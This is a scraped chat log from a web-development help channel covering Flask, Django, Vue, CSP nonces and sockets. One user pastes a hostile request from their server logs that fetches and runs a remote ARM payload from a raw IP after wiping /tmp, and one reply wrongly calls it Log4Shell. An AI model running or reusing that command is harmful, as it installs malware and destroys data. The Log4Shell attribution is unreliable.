[2022-07-16 08:47:38] [2022-07-16 08:47:38 +0000] [1] [WARNING] Worker with pid 16 was terminated due to signal 15
[2022-07-16 08:47:38] [2022-07-16 08:47:38 +0000] [1] [INFO] Shutting down: Master
[2022-07-16 08:47:38] [2022-07-16 08:47:38 +0000] [1] [INFO] Reason: Worker failed to boot.```
hello there , anybody here as any experience with voice recorder in django?
hi
hi,
post ss of directory structure
and your link tag
hmm
u have
STATICFILES_FINDERS = [
"django.contrib.staticfiles.finders.FileSystemFinder",
"django.contrib.staticfiles.finders.AppDirectoriesFinder",
]
STATICFILES_DIRS = [
os.path.join(PROJECT_DIR, "static"),
]
in settins ?
no
basically follow this
https://docs.djangoproject.com/en/4.0/howto/static-files/
np 👍
How could you route pages together with Vue, when your project dir looks something like:```
- Website
- pages
- Login.vue
- src
- assets (folder)
- components (folder)
- css (folder)
- App.vue
- SCSS files
- .gitignore
- index.html```
- pages
are you using vue-router?
or nuxt?
vue-router
you need a router.js file for defining the routes and the component rendered on each one.
I got a router going, it looks like this: ```js
import { createWebHistory, createRouter } from "vue-router";
import Home from "../pages/Home.vue";
const routes = [
{
path: "/",
name: "Home",
component: Home,
},
{
path: "/login",
name: "Login",
component: () => import("../pages/Login.vue"),
},
{
path: "/:catchAll(.*)",
component: () => import("../pages/NotFound.vue"),
},
];
const router = createRouter({
history: createWebHistory(),
routes,
});
export default router;
```Thought unfortunately the <template> doesn't render, whereas the CSS does. The only HTML ever rendered is the one in App.vue
You're using <route-view> in your App.vue?
I would put pages in src btw
So you would do import("./pages/Login.vue")
Yeah, I am, this is my App.vue, ```js
<template>
<router-view />
</template>
<script>
export default {
data() {
return {}
}
}
</script>```
Home.vue exists in pages?
Ahh, understood, thank you so much. Could I use js <style> @import './pages/Login.vue'; </style>too?
Yup! Though it's blank
That's style, which is only used to import css files
You need to put something in Home.vue so it can be rendered
Oh my, thank you so much! Last time I tried Vue, it was so much more difficult. It all sort of makes sense now despite having borderline non-existent JS experience lmao.
Trying to make a dashboard for my bot, though I'm not quite sure how I'd even have things like forms interact with my Flask backend :/
are you using vite or webpack to build?
Both have a proxy feature so you can route /api to your backend process
proxy: {
'/api': {
target: 'https://localhost:44305'
}
}
google mostly
and a couple smart youtubers
ahhh
Does Vite also support compiling SCSS to CSS, currently I have to do it manually as my bash script doesn't recognise sass as a CLI, even with a path supplied.
Wow, this is so cool
It will also compile your scss files if you import them
i.e. ```html
<style lang="scss">
@import "./css/style.scss";
</style>
As for the cookies to be able to login in /login, and then to be redirected into /guilds for the dashboard, how would that sort of thing work? With Flask, Flask-Session was fine, though vue-cookies seems to be the 'equivalent' of that, for lack of a better word.
Element:
<input class="inputDefault-3FGxgL input-2g-os5" name="email" type="email" placeholder="" aria-label="Email" maxlength="999" aria-labelledby="uid_5" value="">
Hello, currently I am dealing with Python and web automation for the first time. I have an HTML element in which I would like to enter something. I have already tried many possibilities as they are on the Internet, unfortunately I was not successful with any. How can I get this element in Python and enter something there?
How can I make my sections not collide with each other when the page shrinks?
hi guys
im currently learning tailwind css
but facing a few problems with it... can anyone help me?
you are using a type=email , which accepts only email format
You need type="text" for free text
More about input box : https://www.w3schools.com/tags/tag_input.asp
Play with it in "Try yourself"
Hi, Thanh
Why does sometimes css doesn't work on one element and working on everything else in the same template? I have even checked by adding css in my css file through developer tools (My second last image, css file = guitar_blog.css) It works there. But not when I do it from my vscode guitar_blog.css .
does anyone know where i can find tutorials
youtube
I'm currently struggling integrating the backend with my frontend. Say I have an API that you provide an OAuth2 code to or an access token from an existing cookie (speaking of, I'm not sure how to do the latter anyways).
I'm planning on being able to have the frontend send a GET request to https://void.codes/api/get_guilds with the header set to {'Authorization': f'Bearer {code}}`. This would return a JSON array of objects that have guild-related data, which'd be displayed on the Vue file. Is this viable? And are there better ways of doing it?
You can use anything you want for frontend, use React or Angular or whatever you want
im a beginner and i want to make a chess webpage game i have a grid setup and don't know where to go now. heres the code:
its not letting me send it
all i have is a grid with spaces in each element
Is there a way to use fontawesome with my flask app? I found some old tutorials online and tried to follow them but it's not working
Well, that was the first thing I tried and it didn't work. I read I have to pip install flask-fontawesome but it didn't work either.
So I don't know what's wrong
that's weird, as in flask the front end is almost able to act imdependently. When I used fontawesome it was as simple as just adding the stylesheet
would you be willing to share a snippet of your html so I can see what's wrong
yea I've never had any problem using font awesome with node.js but now for some reason I can't
I changed the code to use this https://github.com/heartsucker/flask-fontawesome
I'll delete the changes I made and I'll try to add the link again
I usually just install using npm/yarn and add node_modules as a static folder.
Hey guy's I have a project I'm working on to eliminate scammers. And I cant do a simple response post to this api with my Discord bot. Its written in python. but not sure if its appropriate to post code here especially with my private API but if I could get any assistance I'd really appreciate that thank you very much y'all
I was send over from Discord.bots so yeah. not sure why they sent me to web-dev's
hey guys for flask should i always use flask run?
if so then how do i even use it
it's so confusing
i need to setup it with my SQLalchemy database, but the flask nor the SQLALchemy docs have info on how to do it
tried to follow this: https://flask.palletsprojects.com/en/2.1.x/tutorial/database/
I'm trying to get data from my backend, but I'm so confused on how to do this safely so some script kiddie couldn't inspect element and fetch other user data. Moreover, this is just messy (and doesn't really work due to CORS) https://mystb.in/PanelSixthCore.xml. Are there any pointers y'all could offer?
Ooh, where could I learn about that?
Is it possible to use javascript to make an html form appear after a button is pressed?
yea, you would add onclick event on button and then show the form when onclick triggers. Most easiest way to show form would be getting form element and then sitting css style display to block from none
How would you go about creating a page where you can add new posts. the first thing that came to mind is a for loop going through database entries in order sorted by recent and limited to 3 and then having some sort of button i can access for a form to add new database entries?
alright im just gonna do it that way, im sure someone will come around and tell me i've done it all wrong soon 
So, when you're using git desktop don't forget to include all files you're working on when updating the repo and pushing a deploy sigh
I was getting the weirdest error. The code was all good. BUT, I'd managed to miss deploying the views.py file for the app. face palm
I have a model for political party. What's the best way to implement political party membership in my app? Should I add political party membership to user profiles or create a table with user, political_party, join_date and is_currently_member values? Or is there a better way?
extend user model and add party info from that
Been trying to fix for the last 3 hours Why won't this worK?
@brisk mortar Should I still send?
How can I make my entire website auto-adjust when the screen size shrinks?
Hi guys, if i buy Hostinger hosting and domain, does Zyro website builder will be free to use? it asked for payment tho:) Any suggestions, which service provider will be little cost effective to buy domain and hosting at low cost provide free email and website builder:) Thank you
Hi. I got a question and tbh i dont know why i can t answer it, maybe because i haven t slept or idk :))
so in django, in my template, i want to put in a for block some images from a folder
any ideea how i can do that?
I have created a todo website i want to add todo dynamically using ajax in the table whenever there is new entry without reloading. for backend i am using flask
I hope this is ok to post here; this is a side project I've been working on:
It's a dream of mine to be able to code pure Python in the web browser, and I realized that PyScript allows me to do that. I've created a fork of PyScript here where I've added some Python functions that create HTML elements so you don't have to:
https://github.com/coryfitz/pydesyn
Let me know what you think! It's very much a work in progress
Heyy
which values should be hidden when adding firebase to a react project ?
i mean, even if I hide the API key, it will still be served
it will be available to every client
so do I even need to hide these values ?
is FastAPI recommended over Flask and Django to create an API with python?
It is often a better choice - but it depends on the specifics of your application
@views.route('/file/<filename>', methods=['GET'])
def file(filename):
return send_file(r".\\files"+filename)```
this doesn't work, it keeps giving this error and ive tried using forward slashes, removing the . and everything
im using flask*
why not set your static folder in the Flask init to files?
app = Flask(static_folder="files", static_path="/file/")
no
there is an upload folder
where people upload files to
Have you looked at how flask implements static folder?
static folders dont change though
so it wouldnt make sense to put an upload folder in the static folder
static just means it's the same for every user
i.e. there's no processing involved. It's just a straight copy from filesystem to network
You can use something like this. ```py
from pathlib import Path
from flask import Flask, send_from_directory
app = Flask(name)
files_dir = Path(file).parent / "files"
@app.route("/file/path:filename")
def file(filename):
max_age = app.get_send_file_max_age(filename)
return send_from_directory(files_dir, filename, max_age=max_age)
ill try that
it doesn't error but it does return a "URL not found"
nvm i added another .parent to files_dir and it worked
thanks
I am creating a Auction website...I need some help
Explanation:
There is one person 'foo'
'foo' wants to sell his phone at my website. So he fills all the details and waits for the highest bid.
If he is satisfied with the highest bid he can close that auction.
So I want to create a button CLOSE LISTING which only 'foo' can see because he created that auction ....and other people visiting that page should not see CLOSE LISTING Button
I tried using this code but its not working
<h2>CLOSE LISTING</h2>
{% endif %}
That h2 tag doesn't appear on my page if the
LOGGED IN user and user who created that auction is same
I think you're just checking if the user object is equal to the username, which isn't right. Probably, you should do something like listing.user.id == user.id
Need a project idea for final year
google world problems maybe?
Hello
Can someone tell me a way to share a postman collection or something similar (request, response stuff) in a team for free ??
Can you explain it
Iono I was just saying that find some problems, issues dat you can maybe solve with your solution (project)
@manic geyser you suggest people to use google but you don't follow your own advice 😂
Free plan is limited to 3 members
We're a team of 15, so 15*12usd for just sharing some json data doesn't seem very nice (financially) to me
Aahhh yyesss. but how?
a tutorial or something would be nice
🥲🥲
this is also an option - https://insomnia.rest/
swagger is also an option
hey
i want to create a webscraping api for my app
does anyone have any experience with it
so they can guide me on where to start
can you elaborate, do you have an application that you want other people to webscrape or do you want to do webscraping?
i.e. you want to get some data off a website?
i want to get some dats off a website
and display it for the user
and the website needs login
Brother you are awesome thanks alot it worked🎉
But why my solution didn't worked even if the condition matched
for library, try requests, start by logging in with your browser and check the "developers tools" (in chrome -> ... -> more tools developer tools) to see how your browser logs in
This is almost certainly against the ToS for that website so we can't help you here, but there are plenty of tutorials on how to do this.
Two good things to search are beautifulsoup and selenium
because your condition did not match
you were trying to match a user object with the username
But when I printed both (listing.user) and (user.username) they were same
Naruto == Naruto
@indigo kettle
The string representation can be whatever you want it to be
you just have to define __str__ on the object. But that doesn't mean that it uses that for testing equality
in this tutorial, you'll learn how to use the Python eq method to compare two objects by their values.
In this case, have you checked whether there is a trailing white space character after the second Naruto?
Also, why don't you assign every user a unique ID and compare them instead?
Scraping websites is an activity to be engaged in with cautious respect. First, you can check a site's robots.txt file to see what and if they allow for scraping. Second, you can use Beautiful Soup or Selenium for scraping.
As a developer of websites with authentication (where you need to login) I can tell you that I most definitely do not want bots scraping private areas of my sites (and employ security to prevent such scraping). Authentication is a wall for a reason. If you want to scrape a website with such a wall you should research if they offer an API that you can make calls to. I remember when I was all noob at web dev. I thought web scraping was very cool. And then I became a developer with concerns such as security, data ownership and integrity. Now I understand why scraping is a practice to be engaged in respectfully. If someone is serving up data to be scraped for free, fantastic. If they give you permissions in robots. txt have at it. And if they have built an API then it's courtesy to use that vector.
For some reason i cannot get flask_babel to work. When trying to generate the .pot file using the script, i get the following error
Trying to run it with python -m gives:
I've installed all packages and stuff, and even tried adding it to PATH manually
i think the pip you are using is from another version of python
Thanks I didn't knew about this
Hello Everyone I need some help here
I am working on watchlist page but when I add something to watchlist and view watchlist page, item added to watchlist is not visible.
Instead this return string is coming on watchlist page which I defined on watchlist model
Here is my models.py
and views.py
Hm, is there any way to grab the arguments from the url during a post request to the server?
When working with flask-babel, is there any way to ignore certain directories? I assume it has something to do with babel.cfg but cant find anything in docs.
can somone with this error ive been getting in django : django.db.utils.ProgrammingError: column Occupy_clique.occupiers does not exist my code : ```class Clique(models.Model):
class CliqueObjects(models.Manager):
def get_queryset(self):
return super().get_queryset().filter(level='public')
options = (
('private', 'Private'),
('public', 'Public')
)
name = models.CharField(max_length=200, null=False, blank=False,default='')
occupiers = models.IntegerField(null=False,blank=False,default=2)
created_at = models.DateTimeField(auto_now_add=True)
occupation = models.CharField(max_length=90,null=False,blank=False,default='')
level = models.CharField(max_length=10, choices=options, default='public')
objects = models.Manager() # default manager
cliqueobjects = CliqueObjects #custom manager
def __str__(self):
return self.name ```
hi Sam 🙂 can you share the full traceback please?
i got an assignment from a course i am about to start and i got tangled a little bit can anyone maybe give me a hand?
i need to build a flask code that print "ron is a master devops!" the python flask application should listen on the port number of my birthday (24/07)
the problem is that although flask is installed properly and the code looks ok.
when i write flask run on windows terminal it still wont run for some reason and will show me this instead.
if anyone could help i would love that and appreciate.
at the end it should look like this
pleace
could you send the code along with the traceback (error)?
unindent app.run(port=2408) and instead of running flask run, run the flask file by simply using python <filename.py>
should I write this in PowerShell regular or in file terminal?
haad there been no AWS like web services, would small startups be having to lend Hardware to get there service online??
or buy PCs
wherever
but in a terminal 
can anyone help?
it is very important to me
return self.cursor.execute(sql, params)
django.db.utils.ProgrammingError: column Occupy_clique.occupiers does not exist
LINE 1: ...ECT "Occupy_clique"."id", "Occupy_clique"."name", "Occupy_cl...```
Got a question
Not exactly related to python
I have aa website that was coded entirely from scratch. We got the domain from GoDaddy. I have to update the contact us info on it. Can I do it through the godaddy website editor? My frd says since the website is coded from scratch, we'll have to make a new banner and then code that in
Where you got the errore in the view or when you migrate
app wont let migrate im getting this error now : ```django.db.utils.IntegrityError: insert or update on table "Occupy_post" violates foreign key constraint "Occupy_post_occupier_id_27a10cf1_fk_Occupier_occupier_id"
DETAIL: Key (occupier_id)=(1) is not present in table "Occupier_occupier".
did you run migrations?
You need to run "python manage.py migrate"
also "python manage.py check" may output some errors
did you pip install flask in the environment/terminal/venv?
https://flask.palletsprojects.com/en/1.1.x/installation/#install-create-env
i did
looks like a fortmatting issue?
on PS i type:
py.exe '.\script.py'
but I usually run stuff in vscode or vscode terminal directly
Would a cookie set by the frontend look something like:
UUID4: oauth2 access_token (for Discord OAuth)
If found, this access token is sent to the backend, e.g. /api/get_user and the access token as the body? The API would then return a refreshed access_token and the cycle repeats?
hi, guys. i need help. so im trying to make POST request to my api in django, and yah it need a csrf token. then im trying to generate csrf token using django.middleware.csrf.get_token(request). but, where i can put the csrf token when make request using requests module? is it should be in header or body request?
I have OperationalError with my flask application running on Heroku, is anyone able to help me?
How can I prevent someone from a bot/script sending a post request to my website? I only want the user to make the post request if they actually view the website and click on the submit button. I am using Flask.
add a captcha
Hello guys, wonder if you can guide me with something. I need to create a solution that will be hosted on a server and it will need to consume and update kafka topics. Is the best approach to create an app that is always executing listening for new kafka events? Just wonder if that´s a good practice like keeping it always active on the server or there is any other recommended approach. Thanks in advance.
would help to see the template as well
I think a serverless solution might be best. Something like AWS Lambda
I see. I don´t think our infrastructure is ready for it yet. That´s why we were using on prem servers until that is available
Did you consider AWS Outposts?
https://aws.amazon.com/blogs/compute/running-aws-infrastructure-on-premises-with-aws-outposts/
We announced AWS Outposts at re:Invent last December and since then have seen immense customer interest. Customers have been asking for an AWS option on-premises to run applications with low latency and local data-processing requirements. AWS Outposts is a new service slated to launch in late 2019, that brings the same infrastructure, APIs, and ...
we are starting to partner with azure, but it´s not fully setup yet
interesting .. didn't work much on Azure but I'm sure similar solutions are available. You can go as far as implementing a serverless arch on prem
Hello
I am using Flask for a html form.
I have a button.
How can i show this button only to some users?
Do you want to show to only logged in users for example?
Yes, something like that. Only "admin" users.
The auth part is done with google-flow, with your google account.
When you access the html, the admin users are read from a dictionary.
I want to show a button only to "admin" users.
So, all you need to do is use an if statement inside the HTML that checks the user info
something like
if user.admin == True ...
cool, thanks for your help @woven marlin
I started using graphql-strawberry with fastapi. Is there a way to get the requested fields in my @strawberry.field function?
How does socket binding work with the socket library? my ip might change, but i've got ipify to be able to check if it does, can i just keep rebinding with try except?
socket binds to an interface and port. if ipify is configured sanely, it should be able to bridge connections seamlessly
you can bind to 0.0.0.0 to bind to all interfaces
if you're exposing to the outside world, you bind to 0.0.0.0 typically yes
i'm just trying to make a pipe between two apps to send a little data back and fourth... i'm new to this - this is how it's working rn
import socket
from ipify import get_ip
other imports
ip = get_ip()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((ip, 5050))
s.listen()
async def a_function(data_to_send):
code that sends stuff to my other app```
the server shouldnt be using ipify
you want to use "0.0.0.0"
ipify is for grabbing your public ip address
so your client wants that, if it's going beyond your local network
im derping a little i think, the ip would need to be the other machines
unless you are plugged directly into your modem without a router, you want your local ip, not public

im not sending it within my local network
I found people using strawberry.types.Info from looking at open issues
@daring isle my guy do you have some time?
so if i have a changing ip address and a static one, i would need to get the changing one to ping the static one with its ip address every once in a while and rebind the ip if it changes or something 
or could i use the website address somehow to make it simpler
Wag1
Use a service like no-ip. It's a push system where your pc tells the dns service your new ip whenever it updates.
i was trying to avoid having to do that, but i guess i will thanks
async def website_update(data):
global IP
if socket.gethostbyname("https://www.mywebsite.com") != IP:
IP = socket.gethostbyname("https://www.mywebsite.com")
s.bind((IP, 5050))
s.listen()
clientsocket, address = s.accept()
msg = pickle.dumps(data)
msg = bytes(f"{len(msg):<{HEADERSIZE}}", "utf-8") + msg
clientsocket.send(msg)
how would i close socket so i could rebind the socket to a new ip 
would s.close() suffice
You shouldn't need to bind directly to your public ip.
that's what reverse proxies are for
and you technically just need to configure port forwarding.
also, is this really web related? Sure, you're dealing with IP addresses, but web usually implies http at some point.
good point, i should probably be in networking
wont let me migrate
System check identified no issues (0 silenced).
Would a csrf token solve this problem?
How can I prevent someone from a bot/script sending a post request to my website? I only want the user to make the post request if they actually view the website and click on the submit button. I am using Flask.
Here is an interesting question from @fast basin about concurrency in Django ```txt
I read somewhere that Django can serve 1 request at a time.
I made two end API endpoints, A & B.
A takes 60 seconds to respond ( I used time.sleep(60)
B immediately returns "Hello" with status 200.
I made request to A first and then immediately made another request to B but B returned response instantly. Ideally it should respond after 60 seconds right as it is called after A?
if I send a request how can I get a list in response in django instead of a dictionary?
I'm not certain but here
https://docs.djangoproject.com/en/4.0/ref/django-admin/#cmdoption-runserver-nothreading
runserver is multithreaded by default. I think sleep should release the GIL and so python will handle the other request. If you use the --no-threading flag with runserver maybe you will get the behavior you're talking about
Guys any ideas on capstone projects that could use machine learning
Any place from where a beginner can learn about generic views? Especially, about mixins?
I have read the documentation and a few yt vids...but still have doubts...
Getting an error:
'Question' object has no attribute 'object'
Hey guys. I just quickly made a maintenance page with flask and deployed it, but it doesn't load static files after i published, but worked fine when i hosted locally. Do you have any suggestions as to what could be giving me GET 500 error?
It's structured like
app
|
---static
|
---- style.css
---- main.js
|
---- templates
|
---- index.html
|
---- maintenance_app.py
it is objects
I've added these functions to the <script> portion of my Vue file. I'm not quite sure if what I'm doing is right, currently it doesn't support cookies, but it should support a single session, does this seem right? https://mystb.in/ReviewerTexPure.javascript
if im making a list of specific posts im i better of using detail view or list view ?
detail is for representing a single object. list view is for representing a list of objects
so list view
thanks
im just thinking about the logic to display a specific lists of posts like how to get the specific part right
Hello
How can i implement nonce ( to allow this javascript to work ) for this, please?
https://jsfiddle.net/2xvq753h/
Test your JavaScript, CSS, HTML or CoffeeScript online with JSFiddle code editor.
how creat a web with pthon؟
Bad way: U a installing Flask/Django, and using HTML templating named Jinja to make it
Good way: U a instaling Django Rest Framework/Fast API and expose JSON REST API called by your frontend made in Vue.js/React/Angular
God way: U apply right tools, be it Event Driven Architecture(with Kafka/Celery), or GraphQL exposed backend, or infrastructure deployed to kubernets, and having everything working with high reliability/uptime, and easy scalable in code growth and performance workload distribution in spliited to multiple Microservices apps. (Frontend is still still in Vue.js/React/Angular)
You might like to have a look at https://anvil.works
Python version of Wordpress. Yay.
What makes you say that?
Well, obviously it is CMS
or at least it looks like this
It really isn't. I'm intrigued - what makes you think it looks like that?
wait a second, is it for web sites building, right?
no, it's for building web apps (as it says right at the top of that embedded link)
not really understandable name. complex web sites are web apps too
so under question if it is desktop app with web interactivity or web site
It's for building web apps - just like Django
anyawy, i named it Wordpress, because it is Drag and Drop development with already premade at this level for that. That makes it Wordpress analog 🤔
when code becomes optional, and code is fully autogenerated and not required to be written for 95% of stuff, it is already CMS
That's not how anvil works at all.
Code isn't optional, you write the whole thing in Python
There is a drag and drop interface for UI elements (but you can do that in code too, if you prefer)
misguiding first page of anvil web site then.
it looks really Wordpressish at first page
Are you able to tell me what makes it look that way to you? (I'd feed that back to Anvil if you could)
Sure, video begins with us drag dropping stuff like in a web site constructor
after that even if i see python, i see it is fully autogenerated at video
i assume it is not needed being changed at all, and just optional feature like we can adjust PHP in Wordpress too
especially the picture is made fully considering that we have multiple GUI windows shown at the video (3 of them)
That's really helpful. Thank you! I'll let them know!
In the meantime, it really isn't a low-code/no-code thing at all. (I don't work for them. I just use it).
Then I scroll down and see in really big headers below
Drag-and-drop designer.
Instant deployment.
Postgres-backed database.
Built-in integrations.
Git version control.
Web development made simple.
I read that as FIRST it is Drag and Drop designer (like Wordpress is) again
I see then Postgres and built in integrations, I assume it is same premade plugins like in Wordpress it is.
Right - I've never used WordPress, so I'd never make that connection. I've also been using Anvil since before the website looked anything like this, so it wouldn't occur to me.
ergh. I haven't used it beyond looking from afar and just clicking some stuff in it / deploying it few times. But i saw like already three similar CMS tools, and it just strikes me immediately like same tool from this advertisement. Considering that popularity of CMS usage is more popular than frameworks, and that no code solutions are like... desired by a lot of people nowdays, it makes me assume it is yet another no-code CMS in python edition
Thanks again for the time to explain that. I've seen this sort of reaction before and never quite understood where it comes from.
u a welcome
Hello
xD they could clarify somewhere, in same big words: IT is not CMS like Wordpress! Just kidding
but some sort of... advertisement adjustments could be not bad to make
Not sure to be honest how to fix it 🤔
I think they try to strike a balance between making it look accessible to beginners/hobbyists whilst not alienating experienced devs. That balance could possibly do with some adjustment.
I shall fire these thoughts across to them!
Mm and yeah I would never actually used it as web framework because of Career Driven Development btw https://dev.to/codingnninja/career-driven-development-an-analogy-to-test-driven-development-for-learning-to-code-59ce
i mean, nobody asks to know that in python backend jobs
it looks cool for some Freelancing niche i think
that's kind of another point why i never gussed it being Web Framework
zero(at my local hiring web site 0 hits) popularity in job vanacies description for any devs
Im running flask server on aws ec2 and im getting weird requests from random ips such as "GET /shell?cd+/tmp;rm+-rf+*;wget+ 91.218.67.131/reaper/reap.arm4;chmod+777+/tmp/reap.arm4;sh+/tmp/reap.arm4 HTTP/1.1" HTTPStatus.BAD_REQUEST.
Does this mean someone is trying to hack me?
oh nvm it. It is common xD all people using cloud providers / common server distributors are constantly scanned by hackers and anti-hacker agencies
yes u a tried being hacked
more explicitely they look like trying to catch you for Java Vulnerability with logging discovered in this year? 🤔
Log4Shell vulnerability it looks like
Ergh. if u don't wish being hacked u need to have a really good zero trust relationship between your applicatoin parts, and surveying stuff for vulnerabilities and fixing them
i think best option is probably just building apps into docker images and running common tools for vulnerability searching in them, which can be part of CI CD pipeline
Ok
Also security should be good for whatever is launching those docker containers
well, obviously u can just don't care about it too, since it is not any kind of production.
I cant or i can?
fixed. You can being not caring about it, if your server is not having any real people / money valued data
what is worst that could happen? They would just hijack your server resources for some crypto mining at worst
Alright, its just for testing using aws services tbh
u should learn SSM Session Managed connections then
it would allow you to be not needing SSH access to server 🤔
still not solving issue with logging though
🤔 i think it could be solved only by container isolution between app parts then
Hello!
How do I in django to query a value in the bank greater than 100 and less than 1000
anyone have an idea to make a SPECIFIC list of posts ?
So here's a question: Is it true that I won't be able to use React properly in an MVT architecture of Flask or Django and the right way is hybrid solution where frontend is developed in React or Vue with backend APIs in Flask (or any other backend framework) from authentication to any kind of payload delivery from server? I have mostly developed apps in MVT style and those were not as responsive or fun on the front end side. No Ajax call, full page refresh on each submit, the basics. What is the right way of doing web development these days?
im not sure if im answering ur question right but i use react native front end and django backend and it works fine
How do you implement RBAC and such things which you get by default in Django or Flask (FlaskAppbuilder rather)?
How do you call a JS class function in HTML <script> tag? Do I need to do some kind of import?
hello is there anyone who can help me with flask app ? 😄
Dont ask to ask, just ask your questions. Otherwise people would be too lazy/afraid or whatever to answer it. Read guide fully to understand a problem better
https://www.pythondiscord.com/pages/guides/pydis-guides/asking-good-questions/#q-is-anyone-here-good-at-flask-pygame-pycharm
A guide for how to ask good questions in our community.
ok 😄 i have running flask application on heroku, https://frantisek-jergel.herokuapp.com/quiz/ ... when I run that I get following (see image). .... i know what can be a problem, i tried to access the same data due several request. when i run that locally it is working. What I can do that i am always able to access my data?
Hey! I’m using flask to build a web and I was wondering, how do you make a modal confirm prompt, I’ve tried some jQuery stuff and I can’t get it working, so, what do you use?
Anyone have suggestions for courses on how to build APIs with Python and courses to better understand APIs?
Can you please tell me how to write views.py correctly?
class LessonDetailPage(DetailView):
model = Course
template_name = 'courses/lesson-detail.html'
def get_context_data(self, *, object_list=None, **kwargs):
ctx = super(LessonDetailPage, self).get_context_data(**kwargs)
course = Course.objects.filter(slug=self.kwargs['slug']).first()
lesson = Lesson.objects.filter(slug=self.kwargs['lesson_slug']).first()
lesson.video = lesson.video.split("=")[1]
ctx['title'] = lesson
ctx['lesson'] = lesson
return ctx
# This method fires when submitting form data.
def post(self, request, *args, **kwargs):
# Get the course and the current lesson
# Here we need to get the lesson we are on
post = request.POST.copy()
post['author'] = request.user
post['lesson'] = lesson
request.POST = post
# Here you need to create an object based on the form class and set the POST data
url = self.kwargs['slug'] + '/' + self.kwargs['lesson_slug']
return redirect('/course/' + url)
Vue.js as simpliest nice choice. Have your Flask exposed in JSON REST API Endpoints, which would be called from Vue.js with Axios requests library
thank you, I used vue.js 2.6 and a lib called VuejsDialog and it worked just fine
Vuejs3 is long time stable 
Recommending easily setting up with Vue CLI 5
but the lib I use doesn't work with vuejs3, and I'm not gonna bother updating it, although it's probably simple to do
bruh thats sooo complicated how am i gonna be able to do that in the future
how to share data between endpoints in flask to avoid that the data doesn't exists?
Just use npm create projectname vite@latest
Hey, i'm building an app with flask and i'm trying to figure out how to store the same instance of a class for the app's entire lifetime and access it from any of the processes/workers running the app. I'm used to asp.net, where you register a singleton and you can access that same instance from anywhere. What's the right way to achieve this with flask?
Hello
How do you pass a jinja variable to a javascript file, without "activating" csp in line scripts with nonce
confusion indensifies
provide code exmaples
I am using Python ( Flask for a web app )
I have also configured Talisman Flask for CSP.
With Talisman, to allow JS / CSS files to run, you have to add something like <script nonce={{ nonce() }} filename=file.js ></script>
And the js file is loaded.
But to allow in line scripts, you have to enable in line scripts in CSP, which is a security flaw.
< script const foo={{ bar }}></script >
( In line script )
I do not know if it makes sense, because the entire combination of Flask, Jinja and JS is complicated.
I can open my laptop if you want to, to give you some code examples.
I am trying this java script to conbvert it into a js file.
As you see, it uses jinja variable to get a value from python.
Which, in the end, it generated an unique id for every item.
{{ entry }} is a list from python, sometimes is of X elements, other time the list has Y elements.
And for each element from that list, it creates those 2 checkboxes and the input box.
why u a not using just regular script section?
<!DOCTYPE html>
<html>
<body></body>
<script>
A lot of script stuff
</script>
</html>
what is the benefit to use inline script?
interesting. <script> section even used like this is still considered as inline
all right. what is the benefit to use inline-inline scripts then?
https://www.tabnine.com/blog/inline-javascript-in-html/ the advice from here recommends to be just not using inline scripts all xD
Because it generates an unique id <input id=123 type=box> for each input box.
If i do not do this, the 2 checkboxes only work for the first element from the {{ entry }} list
And the way i did it ( the way i knew how :D ), was to getElementById
anyway. According to some googling, u just have to be not using inline js at all, or if u wish u allow it. There are two options only.
if u aren't having any preprocessoring at least
just try to have all your javascript in imported file? 🤔 then u would not have your problem
in the mean time i wish to insert this video once agan, since we touched js https://youtu.be/Uo3cL4nrGOk
Javascript programming language
Interview with a Javascript developer in 2022 with Jack Borrough - aired on © 2022 The Javascript.
https://imgur.com/a/PnaZq1F
Find more Javascript opinions under:
https://hackernoon.com/how-it-feels-to-learn-javascript-in-2016-d3a717dd577f
Programmer humor
Javascript humor
Programming jokes
Programming memes
Ja...
This is what i am trying to do :D, but the issue is to pass the python list to Javascript via jinja
oh. i got it 🤔
i think i know a solution
Yeah. I realized perfect solution
It is working like this, but as you can see, i still need to use in line script
have your python list exposed at some endpoint in JSON format
and query from rendered html by stuff in imported javascript
we would be going regular frontend+backend way, except we are still using vanilla js. Recommending htmx to augment it to better way if possible
https://htmx.org/ it should allow easy data quering
I understand. Ok, i will search into it.
Thank you very much.
u a welcome. Jinja2 in general is not recommended for any javascript usage beyond simple cases
so only basic importing / inline scripting / + augmenting with stuff that helps a bit to have it easier, like htmx/jquery
comfortable level is achieved only when we use backend purely as JSON REST/GRAPHQL APIs
with going htmx, u would achieve proper frontend+backend separation from the start which should allow you to refactor yourself later to proper frontend if desired
Vue.js is quite simple to use and having everything comfortable javascript related, highly recommending it as best option
u a technically able to embedd static compiled Vue.js into Jinja render though, but it would be better having frontend completely separated and compiled to static files
besides Vue.js people also use React/Angular, but I don't recommend them due to more complicated learning curve and less comfort
Vue.js is minimalistic enough to be learned by backend dev without too much of a diving into frontend
Currently, for my project, i am using javascript only for some quality of life stuff.
I do not rely heavily on javascript to do the stuff.
The backend stuff i do it in python ( check if the text in the input box is entered correctly )
But thank you for the suggestions.
frontend frameworks usually provide really nice SCSS preprocessor, which makes CSS WAY easier xD
I will turn my eyes to Vue.js
I see that a lot of people use it.
once u tried SCSS, u would not wish ever to work with regular CSS beyond 10 lines
at the same time Vue.js allows to have your code nicely in components, and the main benefit of frontend framework, that state management at client side is easy peasy with it.
it is nightmare a bit to have any client side state management in vanila js
technically u can use SCSS without frontend framework though
Why is the comment not added to the database when the button is clicked?
you typed post.save
.save is a method, you need to call the method or else it doesn't do anything
post.save()
I would also recommend displaying an error response if the form is not valid instead of reloading the page, may be a better user experience
hello
i have a js question
this w3 resource
changes the background
how would i set an interval to change the background to a completely new rgb color
every second?
any help would be awesome
The simplest way: use setTimeout function to call colour change with a second delay, and at the end of it, call new setTimeout again
setInterval
I have a problem in css. The details are in #help-mango, please help me if you can
Anyone on familiar with debugging Flask (Gunicorn) + React/Axios (Nginx) connection refused issues?
Convenient. Even better xD
Start with CORS
U could verify it is the issue in browser network tab
I was afraid of that. Before I enabled SSL it didn't work on Chrome but would work on Safari...the issue was CORS but the "workaround" was to enable SSL. I did that, and now all browsers have the issue of Connection Refused (previously, the CORS issue wasn't connection refused)
And it looks like the only way to test CORS as the issue is to add @ cross_origin() decorators to all of my api calls
Alternatively. I did follow the flask_cors documentation and imported CORS into the main app, then wrapped the app in the CORS() method...as it states this would apply it globally...and then I restarted the Gunicorn server...same issue.
So, if we assume that it truly does apply CORS globally, it looks like it is not a CORS issue
